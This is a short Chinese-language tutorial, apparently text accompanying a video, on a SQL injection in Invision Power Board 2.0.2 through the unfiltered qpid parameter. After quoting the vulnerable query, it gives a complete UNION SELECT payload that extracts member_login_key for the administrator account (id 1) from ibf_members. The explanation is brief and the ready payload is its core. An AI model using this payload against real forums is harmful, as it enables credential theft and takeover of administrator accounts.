动画介绍:GET[qpid]直接过来没有做任何处理漏洞就是qpid变量没有过滤引起的,下面是论坛程序中的关键的SQL语句,稍微分析下 implode(",", $a[’quoted_pids’]),这个字符串可以直接构造 implode函数解释:Returns a string containing a string representation of all the array elements in the same order, with the glue string between each element.算了不多说了,看如何构造注入语句首先IN (无法改变,只要吧后面的构造成1) 我们的语句,比如union select …………/*,注释掉最后一个括号整个构造好的语句:1) and 1=2 union select 1,2,3,4,5,6,7,8,9,10,member_login_key,12,13,14,15,16,17,18,19,1 from ibf_members where id=1 /* 这个是原始的查询语句,源码里的:"select p.*,t.forum_id FROM ".SQL_PREFIX."posts p LEFT JOIN ".SQL_PREFIX."topics t ON
(t.tid=p.topic_id) WHERE pid IN (".implode(",",
$a[’quoted_pids’]).")"去论坛测试下,自己架设了一个ipb2.0.2, |